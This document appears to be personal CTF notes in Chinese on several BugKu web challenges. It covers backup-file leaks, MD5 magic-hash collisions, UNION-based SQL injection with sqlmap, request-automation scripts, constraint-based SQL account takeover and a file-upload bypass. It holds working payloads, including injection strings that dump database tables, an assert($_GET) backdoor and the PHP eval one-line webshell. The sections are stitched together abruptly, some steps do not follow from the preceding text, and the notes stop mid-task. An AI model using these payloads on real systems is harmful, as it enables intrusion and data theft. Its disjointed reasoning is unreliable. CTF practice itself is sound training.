BugKu-WEB-2

打开一串看不懂的东西
提示说到“备份”，可能是备份文件泄露，于是用了一个php代码泄露检测的小工具SourceLeakHacker
工具下载网址：https://github.com/WangYihang/SourceLeakHacker
命令：python SourceLeakHacker.py --url=http://114.67.246.176:12698 --threads=4 --timeout=8

扫到了3个可用的，分别为：
http://123.206.87.240:8002/web16/flag.php
http://123.206.87.240:8002/web16/index.php
http://123.206.87.240:8002/web16/index.php.bak
尝试以下范围flag.php ，无内容
然后访问index.php.bak

<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/


include_once "flag.php";                        #包含flag.php文件
ini_set("display_errors", 0);                   #不返回错误信息
$str = strstr($_SERVER['REQUEST_URI'], '?');    #判断url是否有问号，有就将url赋值给str  
$str = substr($str,1);                          #将第一位字符后面的值赋给str，也就是问号后的值   
$str = str_replace('key','',$str);              #将str里的字符key替换为空
parse_str($str);                                #解析字符串
echo md5($key1);                                #输出md5加密后的key1


echo md5($key2);                                 #输出md5加密后的key1
if(md5($key1) == md5($key2) && $key1 !== $key2){ #if判断条件为，md5加密后的key1和key2相等，且key1不等于key2  
    echo $flag."取得flag";                       #输出flag
}
?>

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020

由此可知有SQL注入漏洞
加上单引号可以判断是否是单引号闭合
如果在结尾再加上一个单引号，就构成了双引号闭合，截断了原有的代码
闭合后剩余内容会作为sql语句来执行
添加#是将原有的被截断的代码注释掉
在sql中注释符是#或者-- ,后者在GET传参中表示为—+
然后尝试获取列数，因为已经有名字和三科成绩了，所以就测试4或者更高
先从4开始吧，构造id=1' order by 4#，正常回显

这个select group_concat(table_name) from information_schema.tables where table_schema=database()，
可以暂且把它当作一个用来查询表名的固定格式

知识补充：union select 手工注入
mysql中的information_schema 结构用来存储数据库系统信息
information_schema 结构中这几个表存储的信息，在注射中可以用到的几个表　
SCHEMATA 存储数据库名的，
关键字段：SCHEMA_NAME，表示数据库名称
TABLES 存储表名的
关键字段：TABLE_SCHEMA表示表所属的数据库名称；
TABLE_NAME表示表的名称
COLUMNS 存储字段名的
关键字段：TABLE_SCHEMA表示表所属的数据库名称；
TABLE_NAME表示所属的表的名称
COLUMN_NAME表示字段名
爆所有数据名
select group_concat(SCHEMA_NAME) from information_schema.schemata
得到当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()
得到表中的字段名(列名) 将敏感的表进行16进制编码adminuser=0x61646D696E75736572
select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572 
得到字段(列)具体的值     select group_concat(username,0x3a,password) from adminuser
group_concat()函数是将数据作为字符串输出，中间以:间隔开（因为0x3a是:的16进制ascii码）

上一步得到了表名fl4g和sc，flag应该藏在fl4g里面
根据fl4g表去查询字段名(列名)
根据知识补充里的指令，我们应该用select group_concat(column_name) from information_schema.columns where table_name=0x666c3467
觉得16进制麻烦也可以用单引号select group_concat(column_name) from information_schema.columns where table_name='fl4g'
因此构造id=0' union select 4545945,(select group_concat(column_name) from information_schema.columns where table_name='fl4g'),user(),version()#

得到字段名(列名)skctf_flag
尝试获取字段(列)中的数据
根据知识补充里的指令，我们应该用select group_concat(skctf_flag) from fl4g
或者可以用更简便的表达select skctf_flag from fl4g
因此构造id=0' union select 4545945,(select group_concat(skctf_flag) from fl4g),user(),version()#
或者id=0' union select 4545945,(select skctf_flag from fl4g),user(),version()#
得到flag，这道题心好累，果然开始有难度了吗。

PS:这里我扩充一下关于SQL注入的知识点，在ctf的web题目中常常可以看见相关的考点。
后面我也会专门分出来单独说一下。
什么是SQL注入
简而言之：SQL注入用户输入的数据变成了代码被执行。
这道题系统的用知识点来覆盖一下，并解释说明每一步的具体操作。

首先判断sql语句闭合方式
当在id的值后面加上'时，界面无回显，可以判断后端的sql语句应该是
select xxxx from xxxx where id = 'input_id' [xxxx]
或者是这样的
select xxxx from xxxx where id = ('input_id') [xxxx]

在id = 1'的值后面加上注释符#之后发现界面正常显示，所以可以断定sql语句的形式是id = 'input_id'。
常用的闭合方式还用id = "input_id"，id = ("input_id"),id = ('input_id’)等等
具体是哪一种只能看程序猿的写法。
判断返回的列数
可以使用order by子句判断返回的列数。当构造post参数中的order by为5时
界面无回显、值为4时有回显。所以后端返回的列数应该是4。
id=1' order by 5 #
判断后端返回的前端显示的格式
id=-1' union select 1,2,3,4 #

sqlmap 注入
sqlmap 一款用来检测与利用SQL注入漏洞的免费开源工具神器。
使用sqlmap可以帮助我们更快更好更方便的进行注入，优点有很多，缺点就是再好的工具永远都是工具。使用sqlmap进行注入的步骤和手工收入基本一致。
这道题的环境是POST方式请求，如果是GET方法则可以跳过这部。
首先使用抓包工具将界面的正常请求保存至一个文件中：post_sqli.txt

使用sqlmap工具检测是否可以注入和获取基础信息
$ sqlmap -r post_sqli.txt

第一次链接失败，应该是抓包不对，这里再改一下，再试试。
执行结果：
---
Parameter: id (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1' AND SLEEP(5) AND 'ShhA'='ShhA


    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: id=-2292' UNION ALL SELECT CONCAT(0x716b716b71,0x45784b6e4e78446d737053476e4c4875704c6a58414e444171676264674f634d436c506f554d636b,0x71766a7671),NULL,NULL,NULL-- EKPR
---

获取所有的数据库名：
sqlmap -r post_sqli.txt --dbms=mysql --dbs
由于前一步已经确定数据库的类型已经版本号，可以添加参数--dbms=mysql，使得sqlmap只进行与mysql相关的测试。
执行结果节选
available databases [2]:                                                                                
[*] information_schema
[*] skctf_flag

获取据库某一个表中所有的表名
$ sqlmap -r post_sqli.txt --dbms=mysql -D skctf_flag --table

执行结果节选
Database: skctf_flag                                                                                    
[2 tables]
+------+
| fl4g |
| sc   |
+———+

获取所有的列名
$ sqlmap -r post_sqli.txt --dbms=mysql -D skctf_flag -T fl4g --columns

执行结果节选
Database: skctf_flag
Table: fl4g
[1 column]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| skctf_flag | varchar(64) |
+------------+-------------+

获取字段值
$ sqlmap -r post_sqli.txt --dbms=mysql -D skctf_flag -T fl4g -C fl4g --dump

好家伙这么大的数字我这怎么算，计算机算，试试看。
但是题目让我们在2秒之内计算出结果，那我们常规方法肯定是不行的，不如去试试写个脚本。
脚本如下：
import requests
import re
url = '''http://114.67.246.176:16276/'''
s = requests.session() #//用session会话保持表达式是同一个
retuen = s.get(url)
equation = re.search(r'(\d+[+\-*])+(\d+)', retuen.text).group()
result = eval(equation) #    //eval() 函数用来执行一个字符串表达式，并返回表达式的值。
key = {'value': result}
print(s.post(url, data=key).text)

尝试输入，发现不对，猜测应该与上一道题类似，要写个脚本跑一下，来吧展示。
import base64
import bs4,requests
url='http://114.67.246.176:16907/' #指定url
req2=requests.Session()#开启一个会话
ht = req2.get(url)
temp = base64.b64decode(ht.headers['flag']).decode()#base64解码请求头中的flag参数
flag=temp.replace("跑的还不错，给你flag吧: ","")#把修饰语删除
flag=base64.b64decode(flag).decode()#竟然还要解码一次！！！不看wp真没想到ε=(´ο｀*)))唉
d={"margin":flag}#构造post数据
r = req2.post(url, data=d)#data属性提交post参数
print(r.text)#打印

import requests
import  base64
s = requests.session()
payload =  { 'Cookie' : 'PHPSESSID=cltuu48l76egftke0b725e8560'}
url = "http://114.67.246.176:16907/"
ret = s.get( url , params = payload)
flag = ret.headers['flag']  #  base64
flag = base64.b64decode(flag)    # binary
print(flag)
flag = flag[-9:]
print(flag)
flag = base64.b64decode(flag)
print(flag)
res = s.post(url,{'margin':flag})
print(res.text)

(1)每次做题前习惯性的扫下后台，反正也花不了多少时间。
(2)仔细看html源代码，思考提示。
(3)仔细查看request和response。
(4)要对各种编码敏感(哈哈，又有新的学习内容了)
(5)这种得到的信息不断变化的情况(例如本题中给的flag),要考虑后续用脚本操作了。

import requests
rs = requests.session()
for i in range(1, 21):     #这里视情况而定，直至全部显示。
    url = 'http://114.67.246.176:18387/index.php?line={}&filename=aW5kZXgucGhw'.format(i)
    rsg = rs.get(url)
    print(rsg.text)

<?
assert($_GET['s']);
?>

注册普通账号登录提示无权限，注册账号名为admin是发现账号存在
这里扩充一下知识点：
知识点：基于约束的sql攻击
在INSERT中，SQL会根据varchar(n)来限制字符串的最大长度。如果字符串的长度大于“n”个字符的话，那么仅使用字符串的前“n”个字符。
在SQL中执行字符串处理时，字符串末尾的空格符将会被删除(结合上面的这里应该就可以构造出payload了)。
我们尝试按以上方式注册一个账号试试看：
用户名为“admin                                                                             (大概到这里)”
密码Aa12345678

理解一下所谓的sql约束攻击
       SQL约束攻击：在SQL中执行字符串处理时，字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”，对于绝大多数情况来说都是成立的（诸如WHERE子句中的字符串或INSERT语句中的字符串）例如以下语句的查询结果，与使用用户名“vampire”进行查询时的结果是一样的。    SELECT * FROM users WHERE username=‘vampire     ‘;    但也存在异常情况，最好的例子就是LIKE子句了。注意，对尾部空白符的这种修剪操作，主要是在“字符串比较”期间进行的。这是因为，SQL会在内部使用空格来填充字符串，以便在比较之前使其它们的长度保持一致。    在所有的INSERT查询中，SQL都会根据varchar(n)来限制字符串的最大长度。也就是说，如果字符串的长度大于“n”个字符的话，那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符，那么在插入字符串“vampire”时，实际上只能插入字符串的前5个字符，即“vampi”。

0e开头的md5和原值：
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

只能上传图像，不能上传PHP文件，那应该是寻找漏洞上传PHP文件
PHP文件里写入一句话木马：
<?php @eval($_POST[caidao]);?>
用BurpSuite抓包看看。
然后抓包修改后缀，无效，应该是后端验证
接着修改请求包，文件类型等